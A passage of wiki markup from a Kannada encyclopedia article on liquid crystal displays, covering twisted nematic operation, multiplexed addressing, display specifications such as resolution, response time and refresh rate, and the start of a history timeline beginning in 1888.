ತಿರುಚಿದ ಅಥವಾ [[ಸುರುಳಿಯಾಕಾರದಲ್ಲಿ]] ಜೋಡಣೆಗೊಳ್ಳುತ್ತವೆ. ಇದು ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡುವ ಪ್ರಾಸಂಗಿಕ ಬೆಳಕಿನ ಪರಿಭ್ರಮಣವನ್ನು ಕುಗ್ಗಿಸುತ್ತದೆ, ಸಾಧನವು [[ಬೂದುಬಣ್ಣ]]ದಲ್ಲಿ ಗೋಚರಿಸುತ್ತದೆ. ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವ ವಿದ್ಯುದ್ಬಲ ಸಾಕಷ್ಟು ಅಧಿಕವಾಗಿದ್ದರೆ, ಪದರದ ಮಧ್ಯದಲ್ಲಿ ದ್ರವರೂಪದ ಸ್ಫಟಿಕ ಅಣುತಂಡಗಳು ಸಂಪೂರ್ಣವಾಗಿ ತಿರುಚಲ್ಪಟ್ಟಿರುವುದಿಲ್ಲ, ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡುವ ಪ್ರಾಸಂಗಿಕ ಬೆಳಕು ತನ್ನ ದ್ರವರೂಪದ ಸ್ಫಟಿಕ ಪದರದ ಮೂಲಕ ವರ್ಗಾಯಿಸುವಂತೆ ಸುತ್ತಲ್ಪಟ್ಟಿರುತ್ತದೆ. ಈ ಬೆಳಕು ಎರಡನೇ ಶೋಧಕಕ್ಕೆ ಮತ್ತೆ ಮುಖ್ಯವಾದ ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡುವ ಲಂಬವಾಗಬಹುದು. ಈ ರೀತಿಯಾಗಿ ರದ್ದುಗೊಳ್ಳಬಹುದು ಮತ್ತು [[ಚಿತ್ರಬಂಧ]]ವು [[ಕಪ್ಪಾ]]ಗಿ ಕಾಣಿಸಬಹುದು. ಪ್ರತಿಯೊಂದು ಚಿತ್ರಬಂಧ(ಪಿಕ್ಸೆಲ್)ದಲ್ಲಿರುವ ದ್ರವರೂಪದ ಸ್ಫಟಿಕ ಪದರಕ್ಕೆ ವಿದ್ಯುದ್ಬಲವನ್ನು ಹಾಯಿಸುವುದನ್ನು ನಿಯಂತ್ರಿಸುವ ಮೂಲಕ, ಬೆಳಕನ್ನು ಬದಲಾಗುತ್ತಿರುವ ಪರಿಮಾಣಗಳಲ್ಲಿ ವರ್ಗಾಯಿಸುವುದು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಹೀಗೆ ಬೂದುಬಣ್ಣದ ವಿವಿಧ ಮಟ್ಟಗಳನ್ನು ರಚಿಸುತ್ತವೆ. [[ಚಿತ್ರ:LCDneg.jpg|left|thumb|ಮೇಲ್ಭಾಗದ ಪೊಲಾರೈಜರ್‌ನ ಎಲ್‌ಸಿಡಿಯು ಉಪಕರಣದಿಂದ ತೆಗೆದು ಹಾಕಲ್ಪಟ್ಟಿದೆ ಮತ್ತು ಮೇಲಿಡಲ್ಪಟ್ಟಿದ್ದು, ಮೇಲ್ಭಾಗ ಮತ್ತು ಕೆಳಭಾಗದ ಪೊಲಾರೈಜರ್‌ಗಳು ಸಮನಾಂತರವಾಗಿರುವಂತೆ ಮಾಡಲಾಗಿದೆ.]] ವೋಲ್ಟೇಜ್‍-ಆನ್ ಸ್ಟೇಟ್‌ನಲ್ಲಿ ತಿರುಚಿದ ನೆಮ್ಯಾಟಿಕ್ ಸಾಧನದ ಬೆಳಕಿಗೆ ಸಂಬಂಧಿಸಿದ ಪ್ರಭಾವವು, ವೋಲ್ಟೇಜ್-ಆಫ್ ಸ್ಟೇಟ್‌ಗಿಂತ ಸಾಧನದ ಸಾಂದ್ರತೆಯಲ್ಲಿ ಪರಿವರ್ತನೆಗಳ ಮೇಲೆ ಅಷ್ಟೇನೂ ಅವಲಂಭಿಸಿರುವುದಿಲ್ಲ. ಇದರ ಕಾರಣವಾಗಿ, ಈ ಸಾಧನಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಅಡ್ಡವಾದ ಪೊಲಾರೈಜರ್‌ಗಳ ಮಧ್ಯೆ ಕೆಲಸ ನಿರ್ವಹಿಸುತ್ತವೆ. ಅವು ವೋಲ್ಟೇಜ್ ಇಲ್ಲದೇ ಹೊಳೆಯುವಂತೆ ಕಾಣಿಸುತ್ತವೆ (ಹೊಳೆಯುವ ಸ್ಥಿತಿಗಿಂತ ಕತ್ತಲೆಯ ಸ್ಥಿತಿಯಲ್ಲಿ ಪರಿವರ್ತನೆಯಾಗುವುದಕ್ಕೆ ಕಣ್ಣು ಅತ್ಯಂತ ಸೂಕ್ಷ್ಮವಾಗಿರುತ್ತದೆ) ಈ ಸಾಧನಗಳು ಸಮನಾಂತರ ಪೊಲಾರೈಜರ್‌ಗಳ ನಡುವೆ ಕೂಡ ಕಾರ್ಯನಿರ್ವಹಿಸಬಲ್ಲವು, ಉದಾಹರಣೆಗೆ ಹೊಳೆಯುವ ಮತ್ತು ಕತ್ತಲೆಯ ಸ್ಥಿತಿಗಳು ವ್ಯತಿರಿಕ್ತವಾಗಿವೆ. ಈ ವಿನ್ಯಾಸದಲ್ಲಿ ವೊಲ್ಟೇಜ್-ಆಫ್ ಕತ್ತಲೆ ಸ್ಥಿತಿಯು ಗುಳ್ಳೆಯಂತೆ ಕಾಣುತ್ತದೆ, ಹೀಗಾಗಿ ಸಾಂದ್ರತೆಯ ಸಣ್ಣ ಪರಿವರ್ತನೆಯ ಕಾರಣದಿಂದ ಸಾಧನವನ್ನು ಅಡ್ಡಲಾಗಿಸುತ್ತದೆ. ದ್ರವರೂಪ ಸ್ಫಟಿಕದ ವಸ್ತು ಮತ್ತು ಜೋಡಣೆ ಪದರದ ವಸ್ತುಗಳೆರಡೂ [[ಅಯಾನಿಕ್ ಸಂಯುಕ್ತ]]ಗಳನ್ನು ಒಳಗೊಂಡಿರುತ್ತವೆ. ಒಂದು ನಿರ್ದಿಷ್ಟ ಪ್ರವೃತ್ತಿಯ ವಿದ್ಯುತ್ ವ್ಯಾಪ್ತಿಯಾಗಿದ್ದರೆ, ಅದು ಸಮಯದ ದೀರ್ಘಾವಧಿಗೆ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುತ್ತದೆ. ಈ ಅಯಾನಿಕ್ ವಸ್ತುವು ಮೇಲ್ಮೈಯನ್ನು ಆರ್ಕಷಿಸುತ್ತದೆ ಮತ್ತು ಸಾಧನ ಸಾಮರ್ಥ್ಯವನ್ನು ಕೆಳಮಟ್ಟಕ್ಕಿಳಿಸುತ್ತದೆ. ಇದು ಪರ್ಯಾಯ ವಿದ್ಯುತ್‌ ಸಂಪರ್ಕಿಸುವುದನ್ನು ಅಥವಾ ಸಾಧನವೆಂದು ಕರೆಯಲ್ಪಡುವ ವಿದ್ಯುತ್ ವ್ಯಾಪ್ತಿಯ ಪರಸ್ಪರ ವಿರುದ್ಧ ಪ್ರವೃತ್ತಿ ತಲೆಕೆಳಗಾಗುವುದನ್ನು ನಿಯಂತ್ರಿಸುತ್ತದೆ (ದ್ರವರೂಪ ಸ್ಫಟಿಕ ಪದರದ ಪ್ರತಿಕ್ರಿಯೆಯು ಅನನ್ಯವಾಗಿದ್ದು, ಅನ್ವಯಿಕ ವ್ಯಾಪ್ತಿಯ ಪರಸ್ಪರ ವಿರುದ್ಧ ಪ್ರವೃತ್ತಿಯನ್ನು ಲಕ್ಷಿಸುವುದಿಲ್ಲ). ಅಧಿಕ ಸಂಖ್ಯೆಯ ಚಿತ್ರಬಂಧಗಳು ಪ್ರದರ್ಶನದಲ್ಲಿ ಅಗತ್ಯವಾದಾಗ, ಇದು ಪ್ರತಿಯೊಂದು ಮಾರ್ಗದಲ್ಲೂ ಚಲಿಸಲು ತಾಂತ್ರಿಕವಾಗಿ ಸಾಧ್ಯವಾಗುವುದಿಲ್ಲ, ಮತ್ತೆ ಪ್ರತಿಯೊಂದು ಚಿತ್ರಬಂಧಕ್ಕೆ ಪ್ರತ್ಯೇಕ ವಿದ್ಯುದೃವಗಳ ಅಗತ್ಯವಿರುತ್ತದೆ. ಬದಲಾಗಿ, ಪ್ರದರ್ಶನವೂ ''[[ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌ಡ್]]'' ಆಗಿವೆ. ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌ಡ್ ಪ್ರದರ್ಶನದಲ್ಲಿ, ಪ್ರದರ್ಶನದ ಒಂದು ಭಾಗದಲ್ಲಿರುವ ಎಲೆಕ್ಟ್ರಾಡ್‌ಗಳು ಗುಂಪಾಗಿರುತ್ತವೆ, ಅವು ಒಟ್ಟಾಗಿಯೇ ಹೊಲಿಯಲ್ಪಟ್ಟಿರುತ್ತವೆ (ಒಂದೇ ಮಾದರಿಯ ಅಡ್ಡಸಾಲುಗಳಲ್ಲ್ಲಿ). ಪ್ರತಿ ಗುಂಪು ತನ್ನ ಸ್ವಂತ [[ವಿದ್ಯುದ್ಬಲ ಮೂಲ]]ವನ್ನು ಹೊಂದುತ್ತದೆ. ಮತ್ತೊಂದು ಕಡೆಯಲ್ಲಿ ಸಹ ಎಲೆಕ್ಟ್ರಾಡ್‌ಗಳು ಗುಂಪಾಗಿರುತ್ತವೆ (ಒಂದೇ ಮಾದರಿಯ ಉದ್ದ ಸಾಲಿನಲ್ಲಿ), ಪ್ರತಿಯೊಂದು ಗುಂಪು ವಿದ್ಯುದ್ಬಲ ಸಿಂಕ್ ಅನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಗುಂಪುಗಳು ಪ್ರತಿಯೊಂದು ಚಿತ್ರಬಂಧವನ್ನು ವಿನ್ಯಾಸಗೊಳಿಸಿವೆ, ಅದು ಅನನ್ಯವಾಗಿದ್ದು, ವಿಭಾಗಿಸಿಲ್ಲದ ಮೂಲ ಮತ್ತು ಸಿಂಕ್‌ನ ಸಂಯೋಗವನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ಗಳು ಅಥವಾ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ಗಳನ್ನು ಚಲಿಸುತ್ತಿರುವ ತಂತ್ರಾಂಶವು ಮತ್ತೆ ಅನುಕ್ರಮದಲ್ಲಿ ಸಿಂಕ್‌ಗಳಾಗಿ ಮಾರ್ಪಾಡಾಗುತ್ತವೆ ಮತ್ತು ಚಿತ್ರಬಂಧಗಳ ಪ್ರತಿಯೊಂದು ಸಿಂಕ್‌ನ ಮೂಲಗಳನ್ನು ಚಾಲನೆ ಮಾಡುತ್ತವೆ. == ನಿರ್ದಿಷ್ಟತೆಗಳು == {{Howto|section|date=July 2009}} ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕ ತೆರೆಯ ಮೌಲ್ಯವನ್ನು ನಿರ್ಧರಿಸುವಾಗ ಗಮನಿಸಬೇಕಾದ ಪ್ರಮುಖ ಅಂಶಗಳು: * [[ದೃಶ್ಯಸಾಂದ್ರತೆ]]: ಪ್ರದರ್ಶಕ ತೆರೆಯ ಉದ್ದ ಹಾಗೂ ಅಗಲದ ಅಳತೆಯನ್ನು ಪಿಕ್ಸೆಲ್‌ಗಳಲ್ಲಿ ಹೇಳಲಾಗುವುದು.(ಉ.ದಾ.,1,024x768). [[ಸಿಆರ್‌ಟಿ ಪ್ರದರ್ಶಕ ತೆರೆ]]ಗಿಂತಲೂ ಎಲ್‌ಸಿಡಿ ತೆರೆಯು ಸಹಜವಾದ ಅತ್ಯುತಮ ಪರಿಣಾಮವನ್ನು ಪ್ರದರ್ಶಿಸುತ್ತದೆ. * [[ಚುಕ್ಕಿ ಅಂತರ]]: ಎರಡು ಅಕ್ಕ ಪಕ್ಕದ ಪಿಕ್ಸೆಲ್‌ಗಳ ಮಧ್ಯದ ಅಂತರ ಒಂದು ಚುಕ್ಕಿ ಗಾತ್ರದ್ದು. ಚುಕ್ಕಿಯ ಗಾತ್ರ ಚಿಕ್ಕದಾದಷ್ಟೂ, ತೆರೆಯ ಮೇಲೆ ಕಾಣುವ ಆಕೃತಿಯು ಸ್ಪಷ್ಟವಾಗಿ ಕಣಕಣವೂ ಪ್ರದರ್ಶಿಸಲ್ಪಡುತ್ತದೆ. ಚುಕ್ಕಿಯ ತೀವ್ರತೆ ಉದ್ದದಲ್ಲಿಯೂ ಮತ್ತು ಅಗಲದಲ್ಲಿಯೂ ಒಂದೇ ಆಗಿರಬಹುದು ಅಥವಾ ಭಿನ್ನವೂ ಇರಬಹುದು(ಸಾಧಾರಣವಾಗಿ ಕಡಿಮೆ). * ನೋಡುವ ಗಾತ್ರ: ಎಲ್‌ಸಿಡಿಯ ಗಾತ್ರವನ್ನು ಅದರ ಕರ್ಣಗಳನ್ನು ಅಳೆಯುವುದರಿಂದ ನಿರ್ಧರಿಸಬಹುದು.(ಹೆಚ್ಚಾಗಿ ತಿಳಿದಿರುವಂತೆ ನಿಶ್ಚಿತ ತೆರೆಯ ಪ್ರದರ್ಶನಗೊಳ್ಳುವ ಜಾಗ). * [[ಪ್ರತಿಕ್ರಿಯಿಸುವ ಕಾಲಾವಧಿ]]: ಪಿಕ್ಸೆಲ್ ನ ಬಣ್ಣ ಅಥವಾ ಹೊಳಪಿನ ಬದಲಾವಣೆಗೆ ಅತ್ಯಂತ ಕಡಿಮೆ ಸಮಯ ಸಾಕು. ಪ್ರತಿಕ್ರಿಯಿಸುವ ಸಮಯವೂ ಕೂಡ ಏರಿಕೆ ಮತ್ತು ಇಳಿಕೆಯ ಸಮಯವೆಂದು ವಿಭಾಗಿಸಲ್ಪಟ್ಟಿರುತ್ತದೆ. ಪ್ರದರ್ಶಕ ತೆರೆಗೆ, ಇದನ್ನು ಬಿಟಿಬಿ(ಬ್ಲ್ಯಾಕ್ ಟು ಬ್ಲ್ಯಾಕ್) ಅಥವಾ ಜಿಟಿಜಿ (ಗ್ರೇ ಟು ಗ್ರೇ) ಯಿಂದ ಅಳೆದಿರುತ್ತಾರೆ. ಈ ರೀತಿಯ ವಿಭಿನ್ನ ಪ್ರಕಾರದ ಅಳತೆ ಮಾಪನಗಳು ಹೋಲಿಕೆ ಮಾಡುವಾಗ ಕಷ್ಟವನ್ನುಂಟು ಮಾಡುತ್ತದೆ. ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕ ತೆರೆಯ ಪರಿಮಿತಿಗಳು: ವಾಸ್ತವವಾದ ಮತ್ತು ಆಂತರಿಕ ವಿಶ್ಲೇಷಣೆ<ref>{{Cite web |url=http://webvision.med.utah.edu/temporal.html |title=ಟೆಂಪೊರಲ್ ರೆಸೊಲ್ಯುಷನ್ |access-date=2010-02-04 |archive-date=2011-03-18 |archive-url=https://web.archive.org/web/20110318000647/http://webvision.med.utah.edu/temporal.html |url-status=dead }}</ref>. * [[ಇನ್ ಪುಟ್ ಲ್ಯಾಗ್]]:ಪ್ರದರ್ಶಕ ತೆರೆಯು, ಆಕೃತಿಯನ್ನು ಪ್ರದರ್ಶಿಸುವ ಕೊಂಡಿಯ ಮೇಲೆ ಪಡೆವ ಕ್ಷಣ ಮತ್ತು ಆ ಆಕೃತಿಯು ಪರದೆಯ ಮೇಲೆ ಪ್ರದರ್ಶಿಸಲ್ಪಡುವ ಮಧ್ಯದ ಸಮಯ. ಇನ್‌ಪುಟ್ ಲ್ಯಾಗ್‌ನ ಪರಿಣಾಮಗಳಿಗೆ , ಅವುಗಳ ಒಳಗಡೆಯ ಅಂಕೀಯ ಪ್ರಕ್ರಿಯೆಯಾದ ಆಕೃತಿಯ ಚಲನೆ, ಶಬ್ದ ಕಡಿಮೆಗೊಳಿಸುವುದು, ಮತ್ತು ವಿಸ್ತೀರ್ಣ ಬೆಳವಣಿಗೆ ಅಂದರೆ ಹೊಸ ಹೊಸ ತಂತ್ರಜ್ಞಾನ ಅಳವಡಿಕೆಗಳು ಕಾರಣಗಳಾಗಿವೆ. ಇನ್‌ಪುಟ್‌ ಲ್ಯಾಗ್ 3-4 ಫ್ರೇಮ್‌ಗಳಷ್ಟು ಎತ್ತರಕ್ಕೆ ಅಳೆಯಬಹುದು( 60p/60i ಸಿಗ್ನಲ್‌ಗೆ 67 ms ಗಳಷ್ಟು ಹೆಚ್ಚು). ಕೆಲವು ಪ್ರದರ್ಶಕ ತೆರೆಗಳು ಮತ್ತು ದೂರದರ್ಶನ ಯಂತ್ರಗಳು ತಮ್ಮ ಒಳಗಡೆಯ ಅತಿ ಹೆಚ್ಚು ಕಾರ್ಯಗತಿಯನ್ನು ಕಡಿಮೆಗೊಳಿಸುವ ಮತ್ತು ತಮ್ಮ ಸಹಜ ಸ್ಥಿತಿಯನ್ನು ಪ್ರಕಟಿಸುವ ವಿಶೇಷ ಲಕ್ಷಣವಾದ ’ಗೇಮಿಂಗ್ ಮೋಡ್" ಅನ್ನು ಹೊಂದಿರುತ್ತದೆ. * [[ರಿಫ್ರೆಶ್ ರೇಟ್]]: ಪ್ರದರ್ಶಕ ತೆರೆಗೆ ಎಷ್ಟು ಅಂಕಿಗಳನ್ನು ಕೊಡಲ್ಪಡುವುದೊ ಅಷ್ಟೂ ಅಂಕಿಗಳು ಒಂದು ಸೆಕೆಂಡಿನಲ್ಲಿ ರಚಿಸಲ್ಪಡುತ್ತದೆ. ಎಲ್‌ಸಿಡಿ ಪಿಕ್ಸೆಲ್‌ಗಳು ಚದರಟ್ಟಿನ ಮಧ್ಯೆ ಆನ್/ಆಫ್‌ ಆಗದಿದ್ದರೂ, ಎಲ್‌ಸಿಡಿ ಪ್ರದರ್ಶಕ ತೆರೆ ಕೃತಕವಾಗಿ ಮಿನುಗುವಂತೆ ಮಾಡುತ್ತದೆ, ರಿಫ್ರೆಶ್‌ ರೇಟ್<ref>{{Cite web |url=http://www.xbitlabs.com/articles/monitors/display/lcd-parameters_3.html |title=ಕಾಂಟೆಂಪರರಿ ಎಲ್‌ಸಿಡಿ ಮಾನಿಟರ್ ಪ್ಯಾರಾಮೀಟರ್ಸ್: ಆಬ್ಜೆಕ್ಟಿವ್ ಮತ್ತು ಸಬ್ಜೆಕ್ಟಿವ್ ಅನಾಲಿಸಿಸ್ (ಪುಟ 3) |access-date=2010-02-04 |archive-date=2014-11-01 |archive-url=https://web.archive.org/web/20141101080411/http://www.xbitlabs.com/articles/monitors/display/lcd-parameters_3.html |url-status=dead }}</ref> ಎಷ್ಟು ಕಡಿಮೆ ಇದೆ ಎಂಬುದು ಸಂಬಂಧಪಡುವುದಿಲ್ಲ. ಹೈ ಎಂಡ್ ಎಲ್‌ಸಿಡಿ ದೂರದರ್ಶನಗಳು 240&nbsp;Hz ರಿಫ್ರೆಶ್‌ ರೇಟಿನ ವಿಶೇಷತೆಯನ್ನು ಹೊಂದಿರುತ್ತವೆ. ಇವು ಚದರಟ್ಟಿನ ಒಳಗೆ ಹೊಸ ಹೊಸ ತಂತ್ರಜ್ಞಾನ ಅಳವಡಿಕೆಗೆ ಮತ್ತು ಅದರ ಸುಗಮವಾದ ಚಲನೆಗೆ, ವಿಶೇಷವಾಗಿ ಕಡಿಮೆ ಫ್ರೇಮ್ ರೇಟ್ ಇರುವ ಮಾಹಿತಿಗಳು ಅಂದರೆ 24ಪಿ [[ಬ್ಲೂ ರೇ ಡಿಸ್ಕ್]]ಗೆ ಕೂಡ ಅವಕಾಶವನ್ನು ನೀಡುತ್ತದೆ. ಹೀಗಿದ್ದರೂ, ಪಿಕ್ಸೆಲ್‌ನ ಪ್ರತಿಕ್ರಿಯಿಸುವ ಸಮಯ ಅಷ್ಟು ಅಧಿಕ ಮಟ್ಟದ ರಿಫ್ರೆಶ್‌ ದರವು ಬೆಂಬಲ ನೀಡದೆ ಇರಬಹುದು ಮತ್ತು ಹೆಚ್ಚಿನ ಕಾರ್ಯಗತಿಗೆ ಗಣನೀಯವಾಗಿ ಇನ್‌ಪುಟ್ ಲ್ಯಾಗನ್ನು ಪರಿಚಯಿಸಬಹುದು. * [[ಸರ್ಕೀಟ್ ಜಾಲಗಳ ಮಾದರಿ]]: ಕಾರ್ಯನಿರತ [[ಟಿಎಫ್‌ಟಿ]] ಅಥವಾ ನಿಷ್ಕ್ರಿಯಗೊಂಡಂಥದ್ದು. * [[ನೋಡುವ ಕೋನ]]:(ಹೆಚ್ಚು ಸ್ಪಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ [[ನೋಡುವ ದಿಕ್ಕು]]) * ಕಲರ್ ಸಪೋರ್ಟ್: ಎಷ್ಟು ತರನಾದ ಬಣ್ಣಗಳನ್ನು ಬೆಂಬಲಿಸುತ್ತದೆ( ಸಾಮಾನ್ಯವಾಗಿ ತಿಳಿದಿರುವಂತೆ ಕಲರ್ [[ಗ್ಯಾಮ್ಯುಟ್]]) * [[ಹೊಳಪು]]: ಪರದೆಯ ಮೇಲೆ ಬೆಳಕನ್ನು ಹೊರಸೂಸುವ ಪರಿಮಾಣ(ನಿರ್ಧಿಷ್ಟವಾಗಿ [[ಲ್ಯೂಮಿನ್ಯನ್ಸ್]] ಎಂದು ತಿಳಿಯಲ್ಪಟ್ಟಿದೆ) * [[ವರ್ಣಭಿನ್ನತೆಯ ಅನುಪಾತ]]: ದಟ್ಟ ಬಿಳುಪು ಮತ್ತು ಕಡು ಬಣ್ಣಗಳ ಅನುಪಾತ. * [[ರೂಪದ ಪ್ರಮಾಣ]]: ಉದ್ದ ಮತ್ತು ಅಗಲಗಳ ಅನುಪಾತ (ಉ.ದಾ.,4:3,5:4, 16:9 ಅಥವಾ 16:10). * ಇನ್‌ಪುಟ್ ಪೋರ್ಟ್‌ಗಳು (ಉ.ದಾ. [[ಡಿವಿಐ]], [[ವಿಜಿಎ]], [[ಎಲ್ ವಿಡಿಎಸ್]], [[ಡಿಸ್‌ಪ್ಲೆಪೋರ್ಟ್]], ಅಥವಾ [[ಎಸ್-ವೀಡಿಯೋ]] ಮತ್ತು [[HDMI]]) * [[ಗಾಮಾ ಕರೆಕ್ಷನ್]] == ಸಂಕ್ಷಿಪ್ತ ಇತಿಹಾಸ == * 1888: [[ಫ್ರೆಡ್ರಿಕ್ ರೀನಿಟ್‌ಜರ್]] (1858-1927) ಇವರು ಗಜ್ಜರಿಗಳಿಂದ ಹೊರತೆಗೆದ ಕೊಬ್ಬಿನಲ್ಲಿ ದ್ರವ ಸ್ಫಟಿಕದ ಗುಣವನ್ನು ಗಮನಿಸಿದರು (ಅದು ಎರಡು ಕರಗುವ ಬಿಂದುಗಳು ಹಾಗೂ ಬಣ್ಣಗಳ ಉತ್ಪಾದನೆ) ಮತ್ತು ಮೇ 3, 1888ರಲ್ಲಿ ತಮ್ಮ ಸಂಶೋಧನೆಗಳನ್ನು ವಿಯೆನ್ನಾ ರಾಸಾಯನಿಕ ಸಂಸ್ಥೆಯ ಸಭೆಯಲ್ಲಿ ಪ್ರಕಟಿಸಿದರು. (F. Reinitzer: ''Beiträge zur Kenntniss des Cholesterins, Monatshefte für Chemie (Wien) 9, 421-441 (1888)'' ).<ref>ಟಿಮ್ ಸ್ಲಕಿನ್: ''Ueber die Natur der kristallinischen Flüssigkeiten und flüssigen Kristalle'' (''ದ ಅರ್ಲಿ ಹಿಸ್ಟರಿ ಆಫ್ ದ್ರವ ರೂಪದ ಸ್ಫಟಿಕ'' ), ಬನ್ಸೆನ್-ಮ್ಯಾಗಜಿನ್, 7.ಜಾರ್‌ಗ್ಯಾಂಗ್, 5/2005 </ref> * 1904: [[ಒಟ್ಟೊ ಲೆಹ್ಮನ್ನ್]] ತನ್ನ ಕೃತಿಯನ್ನು ಪ್ರಕಟಿಸಿದರು ''"Flüssige Kristalle"'' (ದ್ರವ ಸ್ಫಟಿಕಗಳು). * 1911: [[ಚಾರ್ಲ್ಸ್ ಮೊಗ್ವಿನ್‌]]ರವರು ತೆಳು ಪದರದ ಫಲಕಗಳಲ್ಲಿರುವ ದ್ರವ ಸ್ಫಟಿಕಗಳ ಕುರಿತು ಮೊದಲ ಪ್ರಾಯೋಗಿಕ ಪರೀಕ್ಷೆಗ ನಡೆಸಿದರು. * 1922: [[ಜಾರ್ಜ್‌ಸ್ ಫ್ರೀಡೆಲ್]] ದ್ರವ ಸ್ಫಟಿಕಗಳ ವಿನ್ಯಾಸ ಹಾಗೂ ವಿಶಿಷ್ಟ ಗುಣಗಳನ್ನು ವಿವರಿಸಿ ಅವುಗಳನ್ನು 3 ವಿಭಾಗಗಳಲ್ಲಿ ವಿಂಗಡಿಸಿದ್ದಾರೆ (ನೆಮಾಟಿಕ್ಸ್, ಸ್ಮೆಕ್ಟಿಕ್ಸ್ ಹಾಗೂ ಖೊಲೆಸ್‌ಟೆರಿಕ್ಸ್). * 1936: [[ಮಾರ್ಕೋನಿ ವೈರ್‌ಲೆಸ್ ಟೆಲಿಗ್ರಾಫ್ ಕಂಪನಿ]]ಯು ಈ ತಂತ್ರಜ್ಞಾನದ ಮೊದಲ ಕಾರ್ಯರೂಪ ಬಳಸುವಿಕೆ ''"ದ್ರವ ಸ್ಫಟಿಕದ ಬೆಳಕಿನ ಮೌಲ್ಯ"'' ದರ ಸ್ವಾಮ್ಯದ ಸನ್ನದು ಮಾಡಿಕೊಂಡಿತು. * 1962: ಡಾ. [[ಜಾರ್ಜ್‌ W. ಗ್ರೆ]]ಯವರಿಂದ ''"ದ್ರವ ಸ್ಫಟಿಕದ ಅಣುವಿನ ವಿನ್ಯಾಸ ಹಾಗೂ ಗುಣಲಕ್ಷಣಗಳು"'' ಎಂಬ ವಿಷಯದ ಮೊದಲ ಪ್ರಮುಖ ಆಂಗ್ಲ ಭಾಷೆಯ ಪ್ರಕಾಶನ ಪ್ರಕಟವಾಯಿತು.<ref> ಜಾರ್ಜ್ ಡಬ್ಲ್ಯೂ. ಗ್ರೇ, ಸ್ಟೇಪನ್ ಎಮ್. ಕೆಲ್ಲಿ: "''ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್ ಪಾರ್ ಟ್ವಿಸ್ಟೆಡ್ ನೆಮಾಟಿಕ್ ಡಿಸ್‌ಪ್ಲೇ ಡಿವೈಸಸ್"'' ಜೆ. ಮ್ಯಾಟರ್. chem., 1999, 9, 2037–2050 </ref> * 1962: ದ್ರವ ಸ್ಫಟಿಕಗಳಲ್ಲಿ ಕೆಲವು ಉತ್ಸುಕತೆಯ ಎಲೆಕ್ಟ್ರೋ-ಆಪ್ಟಿಕ್ ಗುಣಗಳಿರುತ್ತವೆ ಎಂದು [[RCA]]ದ ರಿಚರ್ಡ್ ವಿಲಿಯಮ್ಸ್‌ಯವರು ಕಂಡುಕೊಂಡರು ಮತ್ತು ವೋಲ್ಟೇಜ್ ಬಳಸಿ ತೆಳು ದ್ರವ ಸ್ಫಟಿಕದ ವಸ್ತುವಿನ ಪದರದಲ್ಲಿ ಪಟ್ಟೆ-ವಿನ್ಯಾಸ ಉತ್ಪಾದನೆಯಿಂದ ಎಲೆಕ್ಟ್ರೋ-ಒಪ್ಟಿಕ್ ಪರಿಣಾಮವನ್ನು ಪಡೆದರು. ಈ ಪರಿಣಾಮ ಒಂದು ಎಲೆಕ್ಟ್ರೋ-ಹೈಡ್ರೊಡೈನಾಮಿಕ್ ಅಸ್ಥಿರತೆಯ ಮೇಲೆ ಆಧಾರವಾಗಿದೆ ಹಾಗೂ ಇದು ದ್ರವ ಸ್ಫಟಿಕದೊಳಗೆ ನಾವು ಈಗ ಕರೆಯುವ "ವಿಲಿಯಮ್ಸ್ ಡೊಮೇನ್ಸ್" ನಿರ್ಮಾಣವಾಗುತ್ತದೆ.<ref>ಆರ್. ವಿಲಿಯಮ್ಸ್, "ಡೊಮ್ಯಾನ್ಸ್ ಇನ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ಸ್," ಜೆ. phys. chem., ಸಂಪುಟ. 39, pp. 382–388, July 1963</ref> * 1964: [[ಜಾರ್ಜ್‌ H. ಹೇಲ್‌ಮೇಯರ್]] ಅವಾಗ RCA ಪ್ರಯೋಗಾಲಯದಲ್ಲಿ ವಿಲಿಯಮ್ಸ್‌ರವರು ಸಂಶೋಧಿಸಿದ ಪರಿನಾಮಗಳ ಮೇಲೆ ಕಾರ್ಯ ನಡೆಸುತ್ತಿದ್ದರು. ಇವರು ಒಂದೇ ಉಷ್ಣವಲಯದಲ್ಲಿ ಹೊಂದಿಕೆಗೊಂಡ ದ್ವಿವರ್ಣಿಯ ಬಣ್ಣಗಳ ವ್ಯಾಪ್ತಿಯ-ಒಲಿಸುವಿಕೆಯ ಅನುಸಾರವಾಗಿ ಮರು ಜೋಡಿಸುವ ಕ್ರಿಯೆಯಿಂದ ಬಣ್ಣಗಳ ಬದಲಾವಣೆಯನ್ನು ಪಡೆದರು. ಈ ಹೊಸ ಎಲೆಕ್ಟ್ರೋ-ಆಪ್ಟಿಕಲ್‌ ಪರಿಣಾಮದ ಕಾರ್ಯರೂಪದ ತೊಂದರೆಗಳು ಹೇಲ್‌ಮೇಯರ್ ದ್ರವ ಸ್ಫಟಿಕದ ಚದರಿಸುವ ಪರಿಣಾಮಗಳ ಮೇಲೆ ಕಾರ್ಯ ಮುಂದುವರಿಸುವಂತೆ ಮಾಡಿತು. ಕೊನೆಯಲ್ಲಿ ಮೊದಲ ಕಾರ್ಯಾತ್ಮಕ ದ್ರವ ಸ್ಫಟಿಕದ ಪ್ರದರ್ಶನ ಅವರು ಕರೆಯುವ ''[[ಡೈನಾಮಿಕ್ ಸ್ಕ್ಯಾಟರಿಂಗ್ 